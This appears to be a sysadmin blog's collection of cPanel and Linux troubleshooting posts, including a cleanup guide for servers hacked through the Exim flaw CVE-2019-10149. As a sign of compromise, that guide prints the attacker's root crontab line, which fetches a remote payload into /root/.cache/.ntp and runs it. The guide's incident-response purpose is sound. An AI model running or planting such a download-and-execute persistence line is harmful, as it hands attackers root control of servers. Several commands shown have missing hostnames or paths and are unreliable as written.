Joomla | Database Error: The PHP `ext/mysql` extension is removed in PHP 7, cannot use the `mysql` driver

This error shows up when you change/upgrade the PHP version of your Joomla website to PHP 7.XX.

This is because the mysql extension is removed in PHP 7. You may need to change all those functions in PHP code to mysqli_* instead of mysql_* if you want to use PHP 7 for your Joomla website.

In cPanel EasyApache 4, the mysqli extension is provided by the mysqlnd package.

For example:

root@server [~]# rpm -qa | grep ea-php7 | grep mysqlnd

Subdomain not inheriting PHP version of the main domain | Litespeed issue on cPanel

As you know, in cPanel Multi PHP Manager platform, it does support the ‘inherit’ method between the addon domains/subdomains and its main/primary domain.

When you set an Addon domain(if down to the level of main domain’s document root) or Subdomain to use the Inherit option, Apache uses the PHP version that exists in the first .htaccess file that it finds in the domain’s file structure. If the system cannot find a .htaccess file on the top-level domain’s file structure, Apache then uses the system default PHP version for the addon domain or subdomain.

Refer here

According to the cPanel:
The main domain example.dom default document root is /home/USER/public_html and subdomain should by default be created as /home/USER/public_html/sub

Here on the problematic account, the user had set that like, main domain to /home/USER/public_html and subdomain to /home/USER/public_html/addons/sub

Even if that is the case, according to cPanel PHP inherit feature, when apache looks up for the PHP version of the subdomain, it finds PHP inherit setting and it traverses N’th levels above to find parent .htaccess file with PHP version in it. Once it finds the parent .htaccess file with PHP version in it, the Apache inherits the same PHP version for the subdomain itself.

Here, in this case, subdomain was not inheriting PHP version of the main domain working with Litespeed web server. This is because LiteSpeed only reads 1 level above the Document Root of a subdomain. Means here, the subdomain document root the user set was /home/USER/public_html/addons/sub and main domain /home/USER/public_html, so the Litespeed webserver was traversing only maximum of one level above, ie the folder “sub -> addons”. Hence, the PHP version from the main domain wont apply.

The solution for PHP inherit to work in such cases is, you can configure the same main domain PHP version in /home/USER/public_html/addon/.htaccess manually and it would apply to as well. Else, apply the same PHP version to the subdomain through cPanel > Multi PHP Manager or CloudLinux Selector PHP(if your server is running on CloudLinux).

Prefer/Precedence IPv4 over IPv6 for DNS lookups

We had an issue with DNS lookup/Querying the whois servers(Example: while Domain Search/Registration for any TLDs through WHMCS, Domain Manager etc. The tool/system used to timeout whenever the users searched a domain for availability.

We found the following via CLI when telnet’ing to the whois server directly.

[root@host ~]# telnet 43
Trying 2620:74:20::30...
telnet: connect to address 2620:74:20::30: Connection refused
Trying 2620:74:21::30...
telnet: connect to address 2620:74:21::30: Connection refused
Connected to
Escape character is '^]'.

The above indicates it attempts IPv6 DNS lookup first but the whois server doesn’t support or provide it, later our server tries IPv4 DNS lookup and it worked.

The system by default uses AAAA(IPv6) DNS lookups before IPv4 according to the default precedence blocks in /etc/gai.conf (gai stands for getaddrinfo, the standard system call for resolving host names).

As many prefer to disable IPv6 completely and it is not a good solution on the servers which require IPv6 for other purposes, we can try an alternative solution by giving precedence to IPv4 over IPv6 without disabling IPv6.

This is done by changing “precedence ::ffff:0:0/96 10" toprecedence ::ffff:0:0/96 100" in the config file /etc/gai.conf. Check whole /etc/gai.conf to read and understand.

[root@host ~]# grep "::ffff:0:0/96" /etc/gai.conf
#label ::ffff:0:0/96 4
#precedence ::ffff:0:0/96  10
precedence ::ffff:0:0/96  100

If you do not have a /etc/gai.conf(which controls the getaddrinfo() call), you should have an example somewhere within /usr/share/doc (on Centos/RHEL, it is at /usr/share/doc/glibc-common-X.XX.XX/gai.conf) which you can copy over to /etc/gai.conf.

Mine was at:

[root@host ~]# rpm -qa glibc*

[root@host ~]# ll /usr/share/doc/glibc-common-2.17/gai.conf
-rw-r--r--. 1 root root 2584 Jul  3 15:25 /usr/share/doc/glibc-common-2.17/gai.conf

[root@host ~]# cp -pv /usr/share/doc/glibc-common-2.17/gai.conf /etc/
‘/usr/share/doc/glibc-common-2.17/gai.conf’ -> ‘/etc/gai.conf’

Then it started working fine by giving preference to IPv4 over IPv6.

[root@host ~]# telnet 43
Connected to
Escape character is '^]'.
Connection closed by foreign host.

How to clean up a hacked server from the Exim vulnerability CVE-2019-10149 | Temporary workaround | cPanel

The recently reported Exim 4.87 to 4.91 versions vulnerability CVE-2019-10149 is of very intense. Many host servers have already been hacked by now. For the host which is clean by the Gods grace and are still running on the vulnerable Exim and outdated cPanel versions, it is highly recommended to upgrade the cPanel to get Exim patched in the new version 4.92 immediately.

The solution to avoid such a hack issue to upgrade the cPanel to the latest one.

As you have a solution already in place int he above URLs for the clean servers to patch Exim and to avoid the hack issue, I made this document for the unfortunate people whose servers are already root hacked from the Exim vulnerability reported.

Do the following steps to perform a temporary workaround to cleanup compromised server and get atleast its services UP for your customers. But this is not a permanent solution, once you made the following cleanup, make sure to setup a clean server with the same specification and services configuration and also with the latest cPanel and Exim. Then migrate the user accounts from the hacked and cleaned up server to the new server.

An important thing to note is, DO NOT SSH FROM THE HACKED SERVER TO THE NEW DESTINATION SERVER AT ANY CASE WHICH WILL PROBABLY LET THE NEW SERVER ALSO GET INFECTED. kindly avoid that and do always connect from the new server to the hacked source server using the WHM transfer tool.

Signs of the hacked server from this Exim vulnerability CVE-2019-10149:

# crontab -l
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo " localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://URL/src/ldm -o /root/.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://URL/src/ldm -o /root/.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://URL/src/ldm -o /root/.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://URL/src/ldm -O /root/.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://URL/src/ldm -O /root/.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://URL/src/ldm -O /root/.cache/.ntp) && chmod +x /root/.cache/.ntp && /bin/sh /root/.cache/.ntp

File: /usr/bin/[kthrotlds] [ Not normally found on clean servers ]
Size: 1738544 (1697.796875) [ - Most system files/libraries are less than 25k. Anything larger should be considered suspicious. ]
Changed: Tue Jun 11 19:36:58 2019 [ Approximate date the compromise may have occurred ]
RPM Owned: No - Most system files should be owned by an RPM
sha256sum: c3f26f38cb75cf779eed36a4e7ac32cacd4ae89bdf7dae2a4c4db1afe652d3f0

# crontab -e
crontab: installing new crontab
crontab: error renaming /var/spool/cron/#tmp.XXXXuRviCS to /var/spool/cron/root
rename: Operation not permitted
crontab: edits left in /tmp/crontab.6k7Xnz

# crontab -e
lstat: No such file or directory

# lsattr /var/spool/cron/root
----i--------e-- /var/spool/cron/root

# exim -bV
Exim version 4.91 #1 built 07-Mar-2019 22:58:08
Copyright (c) University of Cambridge, 1995 - 2018

Here are the steps to clean up the hacked server from the Exim vulnerability CVE-2019-10149:

# service exim stop;chkconfig exim off (::stop exim service fully)
# yum remove exim -y (::remove it if keeps coming back online)
# service crond stop
# service cron stop
# killall -9 kthrotlds
# killall -9 curl wget sh
# yum -y reinstall curl
# exim -bp | exiqgrep -i | xargs exim -Mrm
# rm -fv /root/.cache/.ntp
# chattr -V -ie /etc/cron.d/root
# > /etc/cron.d/root
# chattr -V -ie /var/spool/cron/root
# > /var/spool/cron/root
# chattr -V -ie   /etc/cron.daily/cronlog /etc/cron.d/root  /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp >/dev/null 2>&1
# chattr -V -ie /etc/rc.local;chattr -V -ie /root/.ssh/authorized_keys
# sed -i -e '/bin\/npt/d' /etc/rc.local >/dev/null 2>&1
# sed -i -e '/user@localhost/d' /root/.ssh/authorized_keys >/dev/null 2>&1 (:or remove any unsual keys you found there)
# service crond start >/dev/null 2>&1
# service cron start >/dev/null 2>&1

Make sure the hack is not coming. If it is, repeat the above steps once again immediately as things are already in the server memory. Else a better way to create a bash script say and copy the above required commands in sequence to execute immediately.

Once done

# reboot

Once the server is back online.

Check if the above hack files are still present. If not upgrade the cPanel which will also install the latest patched Exim on the server.

# /scripts/upcp --force 

Follow this thread better:

The result should be as follows:

# cat /usr/local/cpanel/version;rpm -qa exim

Later if you see Email delivery issues like as follows:

201X-0X-XX 10:28:26 H=mail-XXX-XXXcom [IP.x.x.x]:36085 I=[IP.x.x.x]:25 X=TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128 CV=no F=<> rejected RCPT <>: Rejected relay attempt: 'IP.x.x.x' From: '' To: ''
201X-0X-XX 10:28:27 H=mail-XXX-XXXcom [IP.x.x.x]:36085 I=[IP.x.x.x]:25 Warning: "Detected session with all messages failed"
201X-0X-XX 10:28:27 H=mail-XXX-XXXcom [IP.x.x.x]:36085 I=[IP.x.x.x]:25 Warning: "Increment slow_fail_block Ratelimit - mail-XXX-XXXcom [IP.x.x.x]:36085 because of all messages failed"

This is probably happening due to the missing contents in the files /etc/localdomains and /etc/remotedomains. Populate contents in it by running the following cPanel script.

# /scripts/checkalldomainsmxs --yes

Restart exim if required.

Please realize the fact that the above steps are not a permanent solution but a temporary workaround to keep things online and to migrate the accounts to a clean server and reinstall the hacked server.

cPanel domlogs/Webserver Access logs are showing only local server IP addresses

This happens when we have a reverse proxy Nginx->Apache set up on the server. To be precise, when the Apache based website is behind the reverse proxy(Nginx). In such cases, we may see the accessing IPs on the website access logs as server’s local IP address itself. This behavior is because the reverse proxy or load balancer acts as client to Apache and the Apache sees the internal IP address on its website access log. This doesn’t help an administrator to track down real client IP addresses that access from the outside world.

We can use mod_rpaf module in this case for the Apache.

My machine here is a Centos/cPanel system.

cd /root

Now compile it

cd mod_rpaf-master/
apxs -i -c -n mod_rpaf-2.0.c

Finally, add the module to install Mod_rpaf on cPanel

LoadModule rpaf_module modules/
<IfModule mod_rpaf-2.0.c>
RPAFenable On
RPAFsethostname On
RPAFproxy_ips xx.xx.xx.xx

Restart Apache to apply the changes:

service httpd restart

A good replacement for mod_rpaf is mod_remoteip which can be installed via Easyapache itself on the cPanel servers.

Increase TimeoutStartSec for Apache on a Centos7/RHEL7 server

For this, increase its value in the following file.

$ cat /etc/systemd/system/httpd.service.d/override.conf

Adding it in seconds. So convert minutes to seconds first.

Use TimeoutStartSecTimeoutStopSec or TimeoutSec to specify how long the timeout should be for starting and stopping the process.

Enable systemd to allow MySQL to be in /home directory

There are many cases systemd doesn’t allow the MySQL to work from a new/custom data directory path. It still restricts the path and stick to the default /var/lib/mysql even if we try to change it.

To override this, disable ProtectHome on the following file.


Create WHM root session from command line

If you do not know the server root password but you have access to the server backend using SSH key as the root user, then you can always launch temporary root WHM instance from the CLI with :

whmapi1 create_user_session user=root service=whostmgrd locale=en

It will generate a WHM URL and you can copy/paste it on a new web-browser tab to get in.

Error while installing any package using apt-get

I was getting the following error while I tried to install any package using apt-get package manager.

For example:


# apt-get install wget
Reading package lists... Error!
E: Encountered a section with no Package: header
E: Problem with MergeList /var/lib/apt/lists/extra.linuxmint.com_dists_rafaela_main_i18n_Translation-en
E: The package lists or status file could not be parsed or opened.


# rm -vf /var/lib/apt/lists/*

Then do,

# apt-get update

Finally, I was able to install packages using apt-get

# apt-get install wget
Reading package lists... Done
Building dependency tree Reading state information... Done
wget is already the newest version.The following packages were automatically installed and are no longer required:
empathy-common libfarstream-0.2-2 libfolks-telepathy25 libfolks25libgssglue1 libtelepathy-farstream3 libtelepathy-logger3 libtirpc1python-gst0.10 telepathy-logger
Use 'apt-get autoremove' to remove them.0 upgraded, 0 newly installed, 0 to remove and 273 not upgraded.2 not fully installed or removed.
After this operation, 0 B of additional disk space will be used.
Do you want to continue? [Y/n] y
Setting up chromium-codecs-ffmpeg-extra (45.0.2454.101-0ubuntu0. ...Setting up chromium-browser (45.0.2454.101-0ubuntu0. ...Done...

Mysql error followed by Openfire XMPP server halt

I faced an issue as my IM messenger suddenly got disconnected from the openfire xmpp server. I checked the internet connection to my computer and it was still looking fine. So I hop into openfire server and tried to manually start it. It showed as openfire service starting, but it went off suddenly. I checked some of its logs and could see the issue was with connectivity to mysql service running in same box. Following was the step by step methods I tried to pin point the issue and to sort it out.

First I did ssh the server and got into bash shell.

Tried to manually start openfire service
host # /etc/init.d/openfire start
Starting openfire:

It started running
host # /etc/init.d/openfire status
openfire is running

Suddenly went off
host # /etc/init.d/openfire status
openfire is not running

Showed a pid already exists for openfire when I tried to start openfire again
host # /etc/init.d/openfire start
Openfire is already running. Remove /var/run/ if you know this to be untrue.

Removed existing pid
host # rm /var/run/

Starting service
host # /etc/init.d/openfire start
Starting openfire:

It started once again
host # /etc/init.d/openfire status
openfire is running

Went off again
host # /etc/init.d/openfire status
openfire is not running

Checked one of openfire’s log. After referencing some threads, I could see this is due to connectivity issues with the database.
host # tail -f /opt/openfire/logs/info.log
at org.jivesoftware.openfire.XMPPServer.<init>(
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
at sun.reflect.NativeConstructorAccessorImpl.newInstance(Unknown Source)
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(Unknown Source)
at java.lang.reflect.Constructor.newInstance(Unknown Source)
at java.lang.Class.newInstance0(Unknown Source)
at java.lang.Class.newInstance(Unknown Source)
at org.jivesoftware.openfire.starter.ServerStarter.start(
at org.jivesoftware.openfire.starter.ServerStarter.main(
2015.08.31 11:49:23 org.jivesoftware.openfire.XMPPServer – Server halted

I checked status of mysql and found it was down
host # /etc/init.d/mysqld status
mysqld is stopped

Failed over and over while attempting on starting it.
host # /etc/init.d/mysqld start
MySQL Daemon failed to start.
Starting mysqld: [FAILED]

Found the issue with broken binary index file
host # tail -f /var/log/mysqld.log
150831 11:42:10 [ERROR] Failed to open log (file ‘/var/lib/mysql/mysql-bin.000078’, errno 2)
150831 11:42:10 [ERROR] Could not open log file
150831 11:42:10 [ERROR] Can’t init tc log
150831 11:42:10 [ERROR] Aborting

150831 11:42:10 InnoDB: Starting shutdown…
150831 11:42:11 InnoDB: Shutdown completed; log sequence number 97468154
150831 11:42:11 [Note] /usr/libexec/mysqld: Shutdown complete

150831 11:42:11 mysqld_safe mysqld from pid file /var/run/mysqld/ ended

Removed current index file
host # rm /var/lib/mysql/mysql-bin.index

Started mysql server. Fresh Index file will automatically recreate.
host # /etc/init.d/mysqld start
Starting mysqld: [ OK ]

Found it was still running fine
host # /etc/init.d/mysqld status
mysqld (pid 10838) is running…

Finally fixed openfire issue as well.
host # /etc/init.d/openfire start
Starting openfire:

host # /etc/init.d/openfire status
openfire is running